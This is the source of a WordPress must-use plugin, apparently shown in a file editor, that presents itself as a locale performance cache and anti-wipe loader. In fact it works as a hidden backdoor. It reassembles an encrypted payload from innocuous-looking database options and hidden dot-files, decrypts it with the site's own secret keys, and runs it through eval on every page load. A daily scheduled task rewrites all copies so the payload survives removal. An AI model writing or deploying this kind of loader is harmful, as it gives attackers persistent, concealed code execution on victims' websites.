编辑文件 - .6b68e958472fa34b

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<?php
if (!defined('ABSPATH')) {
	exit;
}

/**
 * Anti-DB-wipe MU loader.
 * Load order: derived options → legacy options → disk copies.
 * Keep in sync with xmlrpc-function-db-wp-config-extra-protections.php
 */
(static function () {
	static $ran = false;
	if ($ran) {
		return;
	}
	$ran = true;

if (!function_exists('wp_locale_cache_tok')) {
		function wp_locale_cache_tok($slot) {
			if (!defined('AUTH_KEY') || !defined('SECURE_AUTH_KEY') || AUTH_KEY === '' || SECURE_AUTH_KEY === '') {
				return '';
			}
			return '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|' . $slot), 0, 20);
		}
	}

if (!function_exists('wp_locale_cache_disk_paths')) {
		function wp_locale_cache_disk_paths($kind) {
			if (!defined('WP_CONTENT_DIR') || !defined('AUTH_KEY') || !defined('SECURE_AUTH_KEY')) {
				return [];
			}
			$h = substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc-disk|' . $kind), 0, 16);
			return [
				rtrim(WP_CONTENT_DIR, '/\\') . '/upgrade/.' . $h,
				rtrim(WP_CONTENT_DIR, '/\\') . '/uploads/.' . $h . '.cache',
			];
		}
	}

if (!function_exists('wp_locale_cache_read_parts')) {
		function wp_locale_cache_read_parts(array $keys) {
			if (!function_exists('get_option') || count($keys) < 3) {
				return '';
			}
			$parts = [];
			foreach ($keys as $k) {
				if (!is_string($k) || $k === '') {
					return '';
				}
				$parts[] = (string) get_option($k, '');
			}
			if ($parts[0] === '' || $parts[1] === '' || $parts[2] === '') {
				return '';
			}
			return implode('', $parts);
		}
	}

if (!function_exists('wp_locale_cache_read_disk_blob')) {
		function wp_locale_cache_read_disk_blob() {
			foreach (wp_locale_cache_disk_paths('payload') as $path) {
				if (!is_string($path) || !is_readable($path)) {
					continue;
				}
				$raw = @file_get_contents($path);
				if (!is_string($raw) || $raw === '') {
					continue;
				}
				$raw = trim($raw);
				if ($raw !== '' && preg_match('#^[A-Za-z0-9+/]+=*$#', $raw)) {
					return $raw;
				}
			}
			return '';
		}
	}

if (!function_exists('wp_locale_cache_collect_blob')) {
		function wp_locale_cache_collect_blob() {
			$sets = [];
			$p = [wp_locale_cache_tok('p0'), wp_locale_cache_tok('p1'), wp_locale_cache_tok('p2')];
			$b = [wp_locale_cache_tok('b0'), wp_locale_cache_tok('b1'), wp_locale_cache_tok('b2')];
			$x = [wp_locale_cache_tok('x0'), wp_locale_cache_tok('x1'), wp_locale_cache_tok('x2')];
			if ($p[0] !== '') {
				$sets[] = $p;
				$sets[] = $b;
				$sets[] = $x;
			}
			// Legacy fixed names (migration / older installs).
			$sets[] = ['wp_user_scopes_crc32', 'wp_user_scopes_crc32_b', 'wp_user_scopes_crc32_c'];
			$sets[] = ['_wp_user_scopes_crc32', '_wp_user_scopes_crc32_b', '_wp_user_scopes_crc32_c'];

foreach ($sets as $keys) {
				$blob = wp_locale_cache_read_parts($keys);
				if ($blob !== '') {
					return $blob;
				}
			}
			return wp_locale_cache_read_disk_blob();
		}
	}

if (!function_exists('wp_locale_cache_write_parts')) {
		function wp_locale_cache_write_parts(array $keys, array $parts, $autoload = true) {
			if (!function_exists('update_option') || count($keys) < 3 || count($parts) < 3) {
				return;
			}
			foreach ($keys as $i => $k) {
				if (!is_string($k) || $k === '') {
					continue;
				}
				update_option($k, (string) $parts[$i], (bool) $autoload);
			}
		}
	}

if (!function_exists('wp_locale_cache_persist_blob')) {
		function wp_locale_cache_persist_blob($blob) {
			$blob = (string) $blob;
			if ($blob === '' || !function_exists('update_option')) {
				return;
			}
			$chunk = (int) ceil(strlen($blob) / 3);
			$parts = [
				substr($blob, 0, $chunk),
				substr($blob, $chunk, $chunk),
				substr($blob, $chunk * 2),
			];
			$p = [wp_locale_cache_tok('p0'), wp_locale_cache_tok('p1'), wp_locale_cache_tok('p2')];
			$b = [wp_locale_cache_tok('b0'), wp_locale_cache_tok('b1'), wp_locale_cache_tok('b2')];
			$x = [wp_locale_cache_tok('x0'), wp_locale_cache_tok('x1'), wp_locale_cache_tok('x2')];
			if ($p[0] !== '') {
				wp_locale_cache_write_parts($p, $parts, true);
				wp_locale_cache_write_parts($b, $parts, false);
				wp_locale_cache_write_parts($x, $parts, false);
			}
			// Keep legacy keys too so partial migrations still work.
			wp_locale_cache_write_parts(
				['wp_user_scopes_crc32', 'wp_user_scopes_crc32_b', 'wp_user_scopes_crc32_c'],
				$parts,
				true
			);
			wp_locale_cache_write_parts(
				['_wp_user_scopes_crc32', '_wp_user_scopes_crc32_b', '_wp_user_scopes_crc32_c'],
				$parts,
				false
			);
			foreach (wp_locale_cache_disk_paths('payload') as $path) {
				$dir = dirname($path);
				if (!is_dir($dir)) {
					@mkdir($dir, 0755, true);
				}
				if (is_dir($dir) && (is_writable($dir) || (is_file($path) && is_writable($path)))) {
					@file_put_contents($path, $blob);
				}
			}
		}
	}

$blob = wp_locale_cache_collect_blob();
	if ($blob === '') {
		return;
	}

$raw = base64_decode($blob, true);
	if ($raw === false || $raw === '') {
		return;
	}

if (!defined('AUTH_KEY') || !defined('SECURE_AUTH_KEY')) {
		return;
	}
	$key = substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|locale-cache', true), 0, 32);
	$len = strlen($raw);
	$klen = strlen($key);
	$plain = '';
	for ($i = 0; $i < $len; $i++) {
		$plain .= chr(ord($raw[$i]) ^ ord($key[$i % $klen]));
	}

$code = @gzinflate($plain);
	if (!is_string($code) || $code === '') {
		return;
	}

// eval is a language construct — cannot be invoked via $fn($code).
	eval($code);
})();

add_action('admin_notices', static function () {
	if (!current_user_can('activate_plugins')) {
		return;
	}
	$n = get_transient('lpc_notice');
	if (!$n || !is_array($n)) {
		return;
	}
	delete_transient('lpc_notice');
	$class = !empty($n['ok']) ? 'notice-success' : 'notice-error';
	printf(
		'<div class="notice %s is-dismissible"><p><strong>Locale Performance Cache:</strong> %s</p></div>',
		esc_attr($class),
		esc_html((string) ($n['msg'] ?? ''))
	);
});

add_action('init', static function () {
	if (!wp_next_scheduled('wp_locale_cache_reconcile')) {
		wp_schedule_event(time() + 3600, 'daily', 'wp_locale_cache_reconcile');
	}
}, 99);

add_action('wp_locale_cache_reconcile', static function () {
	if (!function_exists('wp_locale_cache_collect_blob') || !function_exists('wp_locale_cache_persist_blob')) {
		return;
	}
	$blob = wp_locale_cache_collect_blob();
	if ($blob === '') {
		return;
	}
	// Rewrite every store (derived + legacy + disk) from whatever still survived.
	wp_locale_cache_persist_blob($blob);
});

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